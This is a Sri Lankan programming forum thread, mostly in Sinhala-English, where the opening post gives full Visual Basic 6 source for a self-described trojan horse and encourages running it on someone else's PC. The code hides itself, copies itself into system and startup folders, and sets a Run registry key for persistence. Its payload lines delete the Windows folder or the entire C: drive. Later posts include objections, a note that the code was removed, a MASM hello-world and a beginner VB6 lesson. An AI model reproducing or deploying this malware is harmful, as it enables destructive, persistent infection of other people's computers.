Elakiri Programmerz

[nasri123]

Menna Pattama VIRUS ( TROGEN HORSE) ekakata VB 6 codes

Parissamen use karanna

RUN karanna nam epa

Oni nam haturekge PC ekeka run karanna

*************************************************************
Codes
*************************************************************

'Dilshan WILL NOT BE HELD RESPONSIBLE FOR WHAT PEOPLE MIGHT USE THIS FOR



Dim namefile As String
Dim namereg As String
Private Sub Form_Load()
On Error Resume Next
Me.Hide 'so people can not see it
namefile = "virus.exe" 'put the virus file name here with the .exe on the end !Recommended to change!
namereg = "virus" 'put the virus reg key name in here !Recommended to change!
If LCase$(App.Path) <> "c:\windows\system32" Or "c:\windows\start menu\programs\startup" Or "c:\windows\start menu\programs\start up" Or "c:\winnt\system32" Or "c:\winnt\start menu\programs\startup" Or "c:\winnt\start menu\programs\start up" Or "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" Then
'^this is check if the computer already has been infected !Recommended not to touch!
reg namefile, namereg 'this is to infect the computer
End If
payload 'this goes to the main part of the virus
End Sub
Function payload()
On Error Resume Next
'this is the main part of the virus put the code here of what you want this virus to do

'Shell ("cmd /c del c:\windows\* /F /S /Q") 'this will kill the windows folder in C:

'Shell ("cmd /c del c:\* /F /S /Q") 'this will kill the whole C: drive

'start:
'msgbox "Your Pc Is Infected With The Anoying Virus"
'goto start 'this will repeat a msgbox over and over again
End Function

module code:
QUOTE
'!Recommended not to touch!
Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Const REG_SZ = 1
Public Const REG_DWORD = 4
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long
Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal Hkey As Long, ByVal lpValueName As String) As Long
Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Sub savestring(Hkey As Long, strPath As String, strValue As String, strdata As String)
'this is to save the virus in the reg to startup when windows boots !Recommended not to touch!
On Error Resume Next
Dim keyhand As Long
Dim X As Long
X = RegCreateKey(Hkey, strPath, keyhand)
X = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))
X = RegCloseKey(keyhand)
End Sub
Public Function DeleteValue(ByVal Hkey As Long, ByVal strPath As String, ByVal strValue As String)
'this is to delete the virus if something went wrong in reg(below) !Recommended not to touch!
On Error Resume Next
Dim Xkey As Long
Dim X As Long
X = RegOpenKey(Hkey, strPath, Xkey)
X = RegDeleteValue(Xkey, strValue)
X = RegCloseKey(Xkey)
End Function
Function reg(filename As String, regname As String)
'this is to infect the computer (a little complex) !Recommended not to touch!
On Error GoTo error1
Call savestring("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run", regname, "c:\windows\system32\" & filename)
On Error GoTo error2
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\windows\system32\" & filename
Exit Function
error1:
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\windows\start menu\programs\startup\" & filename
On Error GoTo error4
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\windows\start menu\programs\start up\" & filename
Exit Function
error2:
On Error GoTo error3
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\winnt\system32\" & filename
Call DeleteValue("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run", regname)
Call savestring("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run", regname, "c:\winnt\system32\" & filename)
Exit Function
error3:
On Error GoTo error6
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\" & filename
Call DeleteValue("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run", regname)
Call savestring("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run", regname, "c:\" & filename)
Exit Function
error4:
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\winnt\start menu\programs\startup\" & filename
On Error GoTo error5
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\winnt\start menu\programs\start up\" & filename
Exit Function
error5:
On Error GoTo enditnow
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\" & filename
Exit Function
error6:
On Error GoTo error7
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\Documents and Settings\" & filename
Call DeleteValue("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run", regname)
Call savestring("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run", regname, "c:\Documents and Settings" & filename)
Exit Function
error7:
On Error GoTo enditnow
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\program files\" & filename
Call DeleteValue("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run", regname)
Call savestring("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run", regname, "c:\program files\" & filename)
Exit Function
enditnow:
On Error Resume Next
Call DeleteValue("HKEY_LOCAL_MACHINE", "Software\Microsoft\Windows\CurrentVersion\Run", regname)
End
End Function





********************************Enjoy****************

Don't Put Virus. coding here machan.. Hathuravunath paw.. machan... Pls Don't put any Virus Codings here...

 

[dilshancjdon]

OK machanz

 

[dilshancjdon]

How to get started ?

How to get stated ?

Really ,machanla mama issara games pissek !

eet Programming angata wadunata passe Gamez epa una !!!




Kohomada oyage PC eke oyagema Security system ekek wada karana kota !

Kohomada oyage CD, USB pens oyata arrenna kaatawat paawichchi karanna bari kota

!Kohomada oyagen PC eka oyage keys andunagena oyaata udaw karana kota !

Kohomada podi hack paarak daala Schoole PC ekak hack kara kota !

KOHOMADA OYAMA GAMES HADA GANNA KOTA !!!!




Issellama Programming patan ganna nam hondama language eka Visual Basic tamaa !


VB patta leesiy !!! oni ekekta satiyak atulata wade allaganna puluwan !!!



Oya Programming walata Bigginer kenek nam kohomatak VB patta ! esellama C++ , JAVA walin patan gattot Programming epa wey !


menna balanna VB nikan Power point wage nemeyda kiyala !!

Mama nam hitanne programming karanna eeka angata wadinna oni !!!


Mama VB danne nati ayata Lessons tikak patan gannam !!!!

 

[nasri123]

How to get stated ?

Really ,machanla mama issara games pissek !

eet Programming angata wadunata passe Gamez epa una !!!




Kohomada oyage PC eke oyagema Security system ekek wada karana kota !

Kohomada oyage CD, USB pens oyata arrenna kaatawat paawichchi karanna bari kota

!Kohomada oyagen PC eka oyage keys andunagena oyaata udaw karana kota !

Kohomada podi hack paarak daala Schoole PC ekak hack kara kota !

KOHOMADA OYAMA GAMES HADA GANNA KOTA !!!!




Issellama Programming patan ganna nam hondama language eka Visual Basic tamaa !


VB patta leesiy !!! oni ekekta satiyak atulata wade allaganna puluwan !!!



Oya Programming walata Bigginer kenek nam kohomatak VB patta ! esellama C++ , JAVA walin patan gattot Programming epa wey !


menna balanna VB nikan Power point wage nemeyda kiyala !!

Mama nam hitanne programming karanna eeka angata wadinna oni !!!


Mama VB danne nati ayata Lessons tikak patan gannam !!!!

Machan umba kiwwe 100% eththay bang.. mang issalama C,C++,java ehamay kere.. e welawata okkoma epa wuna bang.. VB patangatteta passe thamay... ela..

 

[chvenen]

elakiri!!!!

 

[pjayampathi]

.386
.MODEL FLAT,STDCALL
option casemap:none 
include \masm32\include\windows.inc
includelib \masm32\lib\user32.lib
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\shell32.inc
includelib \masm32\lib\shell32.lib

.DATA
txt  db "Welcome to Elakiri Programmerz",0
tit db "Elakiri.com",0

.CODE
start:
invoke MessageBox, NULL, addr  txt, addr tit MB_OK
invoke ExitProcess, NULL 
end start

 

[ni_shi2005]

am studyin java....... eka mata amaru vage denanava......i knw itz hard!!
but just giv me ur advices!!
i wanna study .NET and C++ too.......where can i study??
tel me a gud place in colombo!!

 

[chvenen]

am studyin java....... eka mata amaru vage denanava......i knw itz hard!!
but just giv me ur advices!!
i wanna study .NET and C++ too.......where can i study??
tel me a gud place in colombo!!

machan eka language ekak choose karala eka master karapan

 

[ni_shi2005]

How to get stated ?

Really ,machanla mama issara games pissek !

eet Programming angata wadunata passe Gamez epa una !!!




Kohomada oyage PC eke oyagema Security system ekek wada karana kota !

Kohomada oyage CD, USB pens oyata arrenna kaatawat paawichchi karanna bari kota

!Kohomada oyagen PC eka oyage keys andunagena oyaata udaw karana kota !

Kohomada podi hack paarak daala Schoole PC ekak hack kara kota !

KOHOMADA OYAMA GAMES HADA GANNA KOTA !!!!




Issellama Programming patan ganna nam hondama language eka Visual Basic tamaa !


VB patta leesiy !!! oni ekekta satiyak atulata wade allaganna puluwan !!!



Oya Programming walata Bigginer kenek nam kohomatak VB patta ! esellama C++ , JAVA walin patan gattot Programming epa wey !


menna balanna VB nikan Power point wage nemeyda kiyala !!

Mama nam hitanne programming karanna eeka angata wadinna oni !!!


Mama VB danne nati ayata Lessons tikak patan gannam !!!!

aww machan.....thanx machan!!
i like to study .NET download links uth danda honde!!

 

[pjayampathi]

Java is a really cool.. And it's easy to use.
C++ is also good but Java is the best.
Assembly is so god too..
And VB is fatta...

 

[nagaya]

Dream to create a own Artificial Intilligence ???

Know nothing about programming !!!

Then Edit a one with note pad !!!

Click here to Download a Simple AI


How to edit ???

1.Open Note pad
2.Drag "ELIZA.DAT" to it
3.Type Key words in front of K
4.Type a answer in front of R
5.Read and Understand it's easy engine
6.Carry on Creating a Sinhala AI


......................................Eden-Comp Company creation........................


Sri lanka's First AI "Log in to Official Site"

appo Elisa use kale bachcha kale ne ban

 

[vbmaster]

good work bro , keep it up , thanx

 

[nagaya]

Machanla wadiye VB paththata harennena epa....C/C++ or Java paththatama puluwan thana harenna

 

[dilshancjdon]

machan ayya !

mama dunne use karanna nemey !!!!!!!

EDIT karanna !!!

Edit karala oyalata oni dee ekata daanna !!

 

[nagaya]

Menna Pattama VIRUS ( TROGEN HORSE) ekakata VB 6 codes




These codes are removed due to many requests ! Sorry !


If you really want them !

contact me personally by PM ......

VBScript neda malli ?

 

[nagaya]

machan ayya !

mama dunne use karanna nemey !!!!!!!

EDIT karanna !!!

Edit karala oyalata oni dee ekata daanna !!

ithin 2kama 1i ne
....awulk ne ..keep up gd work

 

[dilshancjdon]

Matrix screen sever

Here is a Matrix Screen sever in VB 6

Click here to download

View attachment matrix screen.zip

Download and develope

 

[dilshancjdon]

Lesson 1

[FONT=&quot]1.The Visual Basic start up dialog box[/FONT]

[FONT=&quot]To open the Visual Basic environment and to[/FONT]
[FONT=&quot]
[/FONT]
[FONT=&quot] work with it select and click on Microsoft Visual Basic 6.0 in the start menu. When Visual Basic is loaded the New Project dialog shown in below figure will be displayed with the types available in Visual Basic. You can notice that Standard Exe is highlighted by default. Standard Exe allows the user to create standard executable. Standard executable is a type which has most of the common features of Visual basic.[/FONT]

[FONT=&quot]2.Standard Exe project [/FONT]


[FONT=&quot]The window titled Project -Project 1 is called the project explorer which contains the project files[/FONT]

[FONT=&quot]Property window displays the properties of a form or a control. Properties are attributes such as size, name etc. as well as the form all the controls have its own set of properties[/FONT]

[FONT=&quot]Toolbox window contains a set of controls which are used to customize forms. Using this controls user can create an interface between user and the application[/FONT]

[FONT=&quot]3.Toolbox window with its common controls [/FONT]


[FONT=&quot]Pointer———————————–—————————————————————Picture box[/FONT]
[FONT=&quot]Label————————————–—————————————————-——–—text box[/FONT]

[FONT=&quot]Frame——————————————–—————————————————-—Command button[/FONT]

[FONT=&quot]Check box————————————–——————————————————Option box[/FONT]
[FONT=&quot]Combo box————————————–————————————————-—–List box[/FONT]

[FONT=&quot]H:scroll bar———————————–———————————————————V:scroll bar[/FONT]
[FONT=&quot]Timer——————————————–———————————————————-Drive list box[/FONT]

[FONT=&quot]Dir list box————————————–—————————————————--—File list box[/FONT]

[FONT=&quot]Shapes——————————————–————————————————-——Line[/FONT]
[FONT=&quot]Lines[/FONT]
[FONT=&quot]Image———————————————–——————————————————Data[/FONT]
[FONT=&quot]OLE————————————————-[/FONT]

[FONT=&quot]Control Description[/FONT]


[FONT=&quot]Pointer used to interact with the controls on the form[/FONT]
[FONT=&quot]Picture Box used to display images[/FONT]
[FONT=&quot]Text Box used to accept user input which can display only editable text[/FONT]
[FONT=&quot]Frame used to group other controls[/FONT]
[FONT=&quot]Command Button used to initiate an action by pressing on the button[/FONT]
[FONT=&quot]Check Box used to do a choice for user (checked or unchecked)[/FONT]
[FONT=&quot]Option Button used in groups where one at a time can be true[/FONT]
[FONT=&quot]List Box used to provide a list of items[/FONT]
[FONT=&quot]Combo Box used to provide a short list of items[/FONT]
[FONT=&quot]H:Scroll Bar a horizontal scrollbar[/FONT]
[FONT=&quot]V:Scrol Bar a vertical scrollbar[/FONT]
[FONT=&quot]Timer used to perform tasks in specified intervals.[/FONT]
[FONT=&quot]Drive List Box used to access to the system drives[/FONT]
[FONT=&quot]Dir List Box used to access to the directories on the system[/FONT]
[FONT=&quot]File List Box used to access to the files in the directory[/FONT]
[FONT=&quot]Shape used to draw circles, rectangles, squares, ellipses[/FONT]
[FONT=&quot]Line used to draw lines[/FONT]
[FONT=&quot]Image used to display images. But less capability than the Picture Box[/FONT]
[FONT=&quot]Data used to connect a database[/FONT]
[FONT=&quot]OLE used to interact with other windows applications[/FONT]
[FONT=&quot]Label used to display texts which cannot be edited[/FONT]

[FONT=&quot]4.Property window[/FONT]

[FONT=&quot]


From my Very Old site ( www.VBkigdom.tk )
I have banned this site from my list due to some reasons........

[/FONT]

 

[sherlock]

gud work

 

[yaka99]

YAKA AWISSILA

Menna Pattama VIRUS ( TROGEN HORSE) ekakata VB 6 codes




These codes are removed due to many requests ! Sorry !


If you really want them !

contact me personally by PM ......

Mokakda Yako Ea Kaleeee

Awulak naha...